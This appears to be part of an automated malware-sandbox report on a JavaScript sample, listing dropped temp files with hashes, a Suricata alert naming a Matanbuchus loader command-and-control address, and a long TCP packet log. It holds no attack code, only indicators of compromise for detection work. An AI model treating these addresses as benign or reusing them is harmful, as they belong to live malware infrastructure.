SHA-256:	076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
SHA-512:	DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DFD797B9F044BFEDD4.TMP

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	BF619EAC0CDF3F68D496EA9344137E8B
SHA1:	5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
SHA-256:	076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
SHA-512:	DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DFF694B829BB320708.TMP

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	BF619EAC0CDF3F68D496EA9344137E8B
SHA1:	5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
SHA-256:	076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
SHA-512:	DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DFFB1D1DDBAAC07A7F.TMP

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	1.2552588110954588
Encrypted:	false
SSDEEP:	48:liduDNvGFXOlT5Ymj2rHOfDSCHOfdAECiCyoq9WuSi20HOfDSCHOfBTlQ:cdPoTZCyHvECkWWvyH
MD5:	0AFB6383CC866AB0EDFFB36E2A2BC842
SHA1:	213347C5B7A60075764D85A0FA9435143F96EBA1
SHA-256:	A5F8573B55FE0E4746B08D980DCA05559EA4350C3A4F98D78B7AD499AF8ED9DB
SHA-512:	D352BA22703B610FD3A883EE5E620DABE7766D819FDC43D88BFDEF6C725B9978972DB74045B73AA805122D77314BF67937F67A51A646A84950AD96D08963A963
Malicious:	false
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DFFB99D1B666EC9AAA.TMP

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	1.5663884348612083
Encrypted:	false
SSDEEP:	48:L8PhluRc06WXOGnT51mj2rHOfDSCHOfdAECiCyoq9WuSi20HOfDSCHOfBTlQ:yhl1InT+CyHvECkWWvyH
MD5:	017E45179C6CE2D0B525AF66165DA755
SHA1:	19178F5B3FB5DAEAE01ADB078DE9619226BC6940
SHA-256:	FDB571430870B8A4BD95698B0EB4274E13F7CCCD2DFAB7BBF1698E7AFD8B9BA5
SHA-512:	0B42B77B3A7CECDF76F20744EF20EFB9D38A4213110720DC23492566F5E480E849B0555F92C9501381C069984999D7FCF69E7F0D6D6DF6F9C3282A901CA0A718
Malicious:	false
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	ASCII text, with CRLF line terminators
Entropy (8bit):	5.879433038601054
TrID:
File name:	Doc_21-04-53.js
File size:	977 bytes
MD5:	c10e7bce33b8d71ecd178565a63bb4ed
SHA1:	b2c32607a225fe745dd4d1f40e78578621728be1
SHA256:	09b473434edae856dc199c34092a9b4a9f735a0b0aeb1a03828fa215d1ce0237
SHA512:	10fd15544b0d676d45a9a07e06f3563949d9c2f8b7382b8f086777e0e1e482ee095fb4e8b4e8d8892940ed8d0dbb16dc293d998c38017a46e1c9e90b871871dc
SSDEEP:	24:dEsmSj2wouYUuKR+s0AXDRoiUMboz7I7GFD+NumTqYhjA:dEsMi58GoitoIatSuajA
TLSH:	F2111C46CD13EEE402BAA2D44EE96538CEE151804124E5E5BC9FF3F0569DB240A30EDB
File Content Preview:	// SIG // Begin signature block..// SIG // o3lghrkNHmy95KKmEUisGHk9XLVusIYcXP1r6PEi..// SIG // 8kZbJanxZdXnKYheZv9PqqIuiorVULYcBwh1IyC1..// SIG // RG7j6z5EYrWmDefQjBTtgJ1uqTmEDYvwz8q4Ltbw..// SIG // DCWxNnJe3bbnETsCUaHdDYHnlZRW3EYv5PFJpcP5..// SIG // q52n

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-06T22:20:25.117789+0100	2034468	ET MALWARE Matanbuchus Loader CnC M3	1	192.168.2.4	49751	185.234.216.175	4443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 6, 2024 22:19:35.631171942 CET	49730	443	192.168.2.4	104.21.40.3
Dec 6, 2024 22:19:35.631211996 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:35.631299019 CET	49730	443	192.168.2.4	104.21.40.3
Dec 6, 2024 22:19:35.632998943 CET	49730	443	192.168.2.4	104.21.40.3
Dec 6, 2024 22:19:35.633011103 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:36.855926991 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:36.856013060 CET	49730	443	192.168.2.4	104.21.40.3
Dec 6, 2024 22:19:36.858412981 CET	49730	443	192.168.2.4	104.21.40.3
Dec 6, 2024 22:19:36.858424902 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:36.858690023 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:36.898291111 CET	49730	443	192.168.2.4	104.21.40.3
Dec 6, 2024 22:19:36.904001951 CET	49730	443	192.168.2.4	104.21.40.3
Dec 6, 2024 22:19:36.951330900 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:37.408849955 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:37.408905983 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:37.408962011 CET	49730	443	192.168.2.4	104.21.40.3
Dec 6, 2024 22:19:37.408987999 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:37.410211086 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:37.410260916 CET	49730	443	192.168.2.4	104.21.40.3
Dec 6, 2024 22:19:37.410269022 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:37.418407917 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:37.418476105 CET	49730	443	192.168.2.4	104.21.40.3
Dec 6, 2024 22:19:37.418483973 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:37.427918911 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:37.427969933 CET	49730	443	192.168.2.4	104.21.40.3
Dec 6, 2024 22:19:37.427977085 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:37.476389885 CET	49730	443	192.168.2.4	104.21.40.3
Dec 6, 2024 22:19:37.476397038 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:37.523261070 CET	49730	443	192.168.2.4	104.21.40.3
Dec 6, 2024 22:19:37.528732061 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:37.532948017 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:37.533000946 CET	49730	443	192.168.2.4	104.21.40.3
Dec 6, 2024 22:19:37.533009052 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:37.585781097 CET	49730	443	192.168.2.4	104.21.40.3
Dec 6, 2024 22:19:37.585788965 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:37.602710962 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:37.602780104 CET	49730	443	192.168.2.4	104.21.40.3
Dec 6, 2024 22:19:37.602787018 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:37.610344887 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:37.610400915 CET	49730	443	192.168.2.4	104.21.40.3
Dec 6, 2024 22:19:37.610409975 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:37.618161917 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:37.618232012 CET	49730	443	192.168.2.4	104.21.40.3
Dec 6, 2024 22:19:37.618237972 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:37.625389099 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:37.628041983 CET	49730	443	192.168.2.4	104.21.40.3
Dec 6, 2024 22:19:37.628047943 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:37.632913113 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:37.636049032 CET	49730	443	192.168.2.4	104.21.40.3
Dec 6, 2024 22:19:37.636055946 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:37.640479088 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:37.644042969 CET	49730	443	192.168.2.4	104.21.40.3
Dec 6, 2024 22:19:37.644048929 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:37.647874117 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:37.647952080 CET	49730	443	192.168.2.4	104.21.40.3
Dec 6, 2024 22:19:37.647958994 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:37.662791967 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:37.662856102 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:37.662895918 CET	49730	443	192.168.2.4	104.21.40.3
Dec 6, 2024 22:19:37.662904024 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:37.662970066 CET	49730	443	192.168.2.4	104.21.40.3
Dec 6, 2024 22:19:37.670310020 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:37.676510096 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:37.676603079 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:37.676616907 CET	49730	443	192.168.2.4	104.21.40.3
Dec 6, 2024 22:19:37.676628113 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:37.676687956 CET	49730	443	192.168.2.4	104.21.40.3
Dec 6, 2024 22:19:37.682751894 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:37.689018965 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:37.689047098 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:37.689073086 CET	49730	443	192.168.2.4	104.21.40.3
Dec 6, 2024 22:19:37.689080954 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:37.689122915 CET	49730	443	192.168.2.4	104.21.40.3
Dec 6, 2024 22:19:37.793127060 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:37.795926094 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:37.795986891 CET	49730	443	192.168.2.4	104.21.40.3
Dec 6, 2024 22:19:37.796005964 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:37.802182913 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:37.802242994 CET	49730	443	192.168.2.4	104.21.40.3
Dec 6, 2024 22:19:37.802248955 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:37.808434963 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:37.808484077 CET	49730	443	192.168.2.4	104.21.40.3
Dec 6, 2024 22:19:37.808490992 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:37.814640045 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:37.814696074 CET	49730	443	192.168.2.4	104.21.40.3
Dec 6, 2024 22:19:37.814703941 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:37.820846081 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:37.820895910 CET	49730	443	192.168.2.4	104.21.40.3
Dec 6, 2024 22:19:37.820903063 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:37.827192068 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:37.827251911 CET	49730	443	192.168.2.4	104.21.40.3
Dec 6, 2024 22:19:37.827260017 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:37.827332020 CET	49730	443	192.168.2.4	104.21.40.3
Dec 6, 2024 22:19:37.833256960 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:37.839462042 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:37.839510918 CET	49730	443	192.168.2.4	104.21.40.3
Dec 6, 2024 22:19:37.839518070 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:37.851934910 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:37.852130890 CET	49730	443	192.168.2.4	104.21.40.3
Dec 6, 2024 22:19:37.852138996 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:37.852191925 CET	49730	443	192.168.2.4	104.21.40.3
Dec 6, 2024 22:19:37.858253002 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:37.858328104 CET	49730	443	192.168.2.4	104.21.40.3
Dec 6, 2024 22:19:37.866913080 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:37.867057085 CET	49730	443	192.168.2.4	104.21.40.3
Dec 6, 2024 22:19:37.867063046 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:37.871392012 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:37.871452093 CET	49730	443	192.168.2.4	104.21.40.3
Dec 6, 2024 22:19:37.871459007 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:37.875773907 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:37.875828028 CET	49730	443	192.168.2.4	104.21.40.3
Dec 6, 2024 22:19:37.875835896 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:37.880093098 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:37.880147934 CET	49730	443	192.168.2.4	104.21.40.3
Dec 6, 2024 22:19:37.880153894 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:37.888885021 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:37.888969898 CET	49730	443	192.168.2.4	104.21.40.3
Dec 6, 2024 22:19:37.888977051 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:37.889020920 CET	49730	443	192.168.2.4	104.21.40.3
Dec 6, 2024 22:19:37.897519112 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:37.897619009 CET	49730	443	192.168.2.4	104.21.40.3
Dec 6, 2024 22:19:37.904187918 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:37.904261112 CET	49730	443	192.168.2.4	104.21.40.3
Dec 6, 2024 22:19:37.912843943 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:37.912925005 CET	49730	443	192.168.2.4	104.21.40.3
Dec 6, 2024 22:19:37.921546936 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:37.921613932 CET	49730	443	192.168.2.4	104.21.40.3
Dec 6, 2024 22:19:37.921668053 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:37.921717882 CET	49730	443	192.168.2.4	104.21.40.3
Dec 6, 2024 22:19:37.987139940 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:37.987226009 CET	49730	443	192.168.2.4	104.21.40.3
Dec 6, 2024 22:19:37.987234116 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:37.987292051 CET	49730	443	192.168.2.4	104.21.40.3
Dec 6, 2024 22:19:37.992996931 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:37.993088961 CET	49730	443	192.168.2.4	104.21.40.3
Dec 6, 2024 22:19:38.001570940 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:38.001672029 CET	49730	443	192.168.2.4	104.21.40.3
Dec 6, 2024 22:19:38.001678944 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:38.001724958 CET	49730	443	192.168.2.4	104.21.40.3
Dec 6, 2024 22:19:38.005768061 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:38.005837917 CET	49730	443	192.168.2.4	104.21.40.3
Dec 6, 2024 22:19:38.009705067 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:38.009768963 CET	49730	443	192.168.2.4	104.21.40.3
Dec 6, 2024 22:19:38.017493963 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:38.017585039 CET	49730	443	192.168.2.4	104.21.40.3
Dec 6, 2024 22:19:38.017590046 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:38.017642021 CET	49730	443	192.168.2.4	104.21.40.3
Dec 6, 2024 22:19:38.021544933 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:38.021619081 CET	49730	443	192.168.2.4	104.21.40.3
Dec 6, 2024 22:19:38.025490046 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:38.025569916 CET	49730	443	192.168.2.4	104.21.40.3
Dec 6, 2024 22:19:38.033298016 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:38.033373117 CET	49730	443	192.168.2.4	104.21.40.3
Dec 6, 2024 22:19:38.037285089 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:38.037344933 CET	49730	443	192.168.2.4	104.21.40.3
Dec 6, 2024 22:19:38.041161060 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:38.041234970 CET	49730	443	192.168.2.4	104.21.40.3
Dec 6, 2024 22:19:38.044318914 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:38.044378996 CET	49730	443	192.168.2.4	104.21.40.3
Dec 6, 2024 22:19:38.047427893 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:38.047485113 CET	49730	443	192.168.2.4	104.21.40.3
Dec 6, 2024 22:19:38.053486109 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:38.053563118 CET	49730	443	192.168.2.4	104.21.40.3
Dec 6, 2024 22:19:38.056977987 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:38.057029009 CET	49730	443	192.168.2.4	104.21.40.3
Dec 6, 2024 22:19:38.060623884 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:38.060697079 CET	49730	443	192.168.2.4	104.21.40.3
Dec 6, 2024 22:19:38.060777903 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:38.062647104 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:38.062695980 CET	49730	443	192.168.2.4	104.21.40.3
Dec 6, 2024 22:19:38.062719107 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:38.064394951 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:38.064461946 CET	49730	443	192.168.2.4	104.21.40.3
Dec 6, 2024 22:19:38.064476967 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:38.069861889 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:38.069960117 CET	49730	443	192.168.2.4	104.21.40.3
Dec 6, 2024 22:19:38.069976091 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:38.071677923 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:38.071724892 CET	49730	443	192.168.2.4	104.21.40.3
Dec 6, 2024 22:19:38.071738958 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:38.075193882 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:38.075263023 CET	49730	443	192.168.2.4	104.21.40.3
Dec 6, 2024 22:19:38.075279951 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:38.076984882 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:38.077029943 CET	49730	443	192.168.2.4	104.21.40.3
Dec 6, 2024 22:19:38.077044010 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:38.078902960 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:38.078943968 CET	49730	443	192.168.2.4	104.21.40.3
Dec 6, 2024 22:19:38.078958988 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:38.080645084 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:38.080698013 CET	49730	443	192.168.2.4	104.21.40.3
Dec 6, 2024 22:19:38.080710888 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:38.081680059 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:38.081722021 CET	49730	443	192.168.2.4	104.21.40.3
Dec 6, 2024 22:19:38.081732035 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:38.083488941 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:38.083534002 CET	49730	443	192.168.2.4	104.21.40.3
Dec 6, 2024 22:19:38.083545923 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:38.085335970 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:38.085391998 CET	49730	443	192.168.2.4	104.21.40.3
Dec 6, 2024 22:19:38.085406065 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:38.088860035 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:38.088932037 CET	49730	443	192.168.2.4	104.21.40.3
Dec 6, 2024 22:19:38.088949919 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:38.088992119 CET	49730	443	192.168.2.4	104.21.40.3
Dec 6, 2024 22:19:38.092444897 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:38.092509031 CET	49730	443	192.168.2.4	104.21.40.3
Dec 6, 2024 22:19:38.094257116 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:38.094310045 CET	49730	443	192.168.2.4	104.21.40.3
Dec 6, 2024 22:19:38.097958088 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:38.098042965 CET	49730	443	192.168.2.4	104.21.40.3
Dec 6, 2024 22:19:38.105233908 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:38.105315924 CET	49730	443	192.168.2.4	104.21.40.3
Dec 6, 2024 22:19:38.106043100 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:38.106101990 CET	49730	443	192.168.2.4	104.21.40.3
Dec 6, 2024 22:19:38.107846975 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:38.107913017 CET	49730	443	192.168.2.4	104.21.40.3
Dec 6, 2024 22:19:38.177397013 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:38.177498102 CET	49730	443	192.168.2.4	104.21.40.3
Dec 6, 2024 22:19:38.178239107 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:38.178308964 CET	49730	443	192.168.2.4	104.21.40.3
Dec 6, 2024 22:19:38.180061102 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:38.180128098 CET	49730	443	192.168.2.4	104.21.40.3
Dec 6, 2024 22:19:38.183576107 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:38.183633089 CET	49730	443	192.168.2.4	104.21.40.3
Dec 6, 2024 22:19:38.194796085 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:38.194824934 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:38.194905996 CET	49730	443	192.168.2.4	104.21.40.3
Dec 6, 2024 22:19:38.194917917 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:38.194974899 CET	49730	443	192.168.2.4	104.21.40.3
Dec 6, 2024 22:19:38.196417093 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:38.196470022 CET	49730	443	192.168.2.4	104.21.40.3
Dec 6, 2024 22:19:38.208002090 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:38.208020926 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:38.208101034 CET	49730	443	192.168.2.4	104.21.40.3
Dec 6, 2024 22:19:38.208108902 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:38.208152056 CET	49730	443	192.168.2.4	104.21.40.3
Dec 6, 2024 22:19:38.211400032 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:38.211508989 CET	49730	443	192.168.2.4	104.21.40.3
Dec 6, 2024 22:19:38.222848892 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:38.222944975 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:38.222991943 CET	49730	443	192.168.2.4	104.21.40.3
Dec 6, 2024 22:19:38.222995996 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:38.223012924 CET	49730	443	192.168.2.4	104.21.40.3
Dec 6, 2024 22:19:38.231812000 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:38.231829882 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:38.231899023 CET	49730	443	192.168.2.4	104.21.40.3
Dec 6, 2024 22:19:38.231905937 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:38.238322973 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:38.238341093 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:38.238413095 CET	49730	443	192.168.2.4	104.21.40.3
Dec 6, 2024 22:19:38.238425970 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:38.242017031 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:38.242055893 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:38.242106915 CET	49730	443	192.168.2.4	104.21.40.3
Dec 6, 2024 22:19:38.242114067 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:38.242151022 CET	49730	443	192.168.2.4	104.21.40.3
Dec 6, 2024 22:19:38.243031025 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:38.243087053 CET	49730	443	192.168.2.4	104.21.40.3
Dec 6, 2024 22:19:38.244793892 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:38.244844913 CET	49730	443	192.168.2.4	104.21.40.3
Dec 6, 2024 22:19:38.245852947 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:38.245930910 CET	49730	443	192.168.2.4	104.21.40.3
Dec 6, 2024 22:19:38.249414921 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:38.249485970 CET	49730	443	192.168.2.4	104.21.40.3
Dec 6, 2024 22:19:38.369817019 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:38.369977951 CET	49730	443	192.168.2.4	104.21.40.3
Dec 6, 2024 22:19:38.370887041 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:38.370965958 CET	49730	443	192.168.2.4	104.21.40.3
Dec 6, 2024 22:19:38.375492096 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:38.375536919 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:38.375583887 CET	49730	443	192.168.2.4	104.21.40.3
Dec 6, 2024 22:19:38.375588894 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:38.375602961 CET	49730	443	192.168.2.4	104.21.40.3
Dec 6, 2024 22:19:38.377187967 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:38.377250910 CET	49730	443	192.168.2.4	104.21.40.3
Dec 6, 2024 22:19:38.377259016 CET	443	49730	104.21.40.3	192.168.2.4
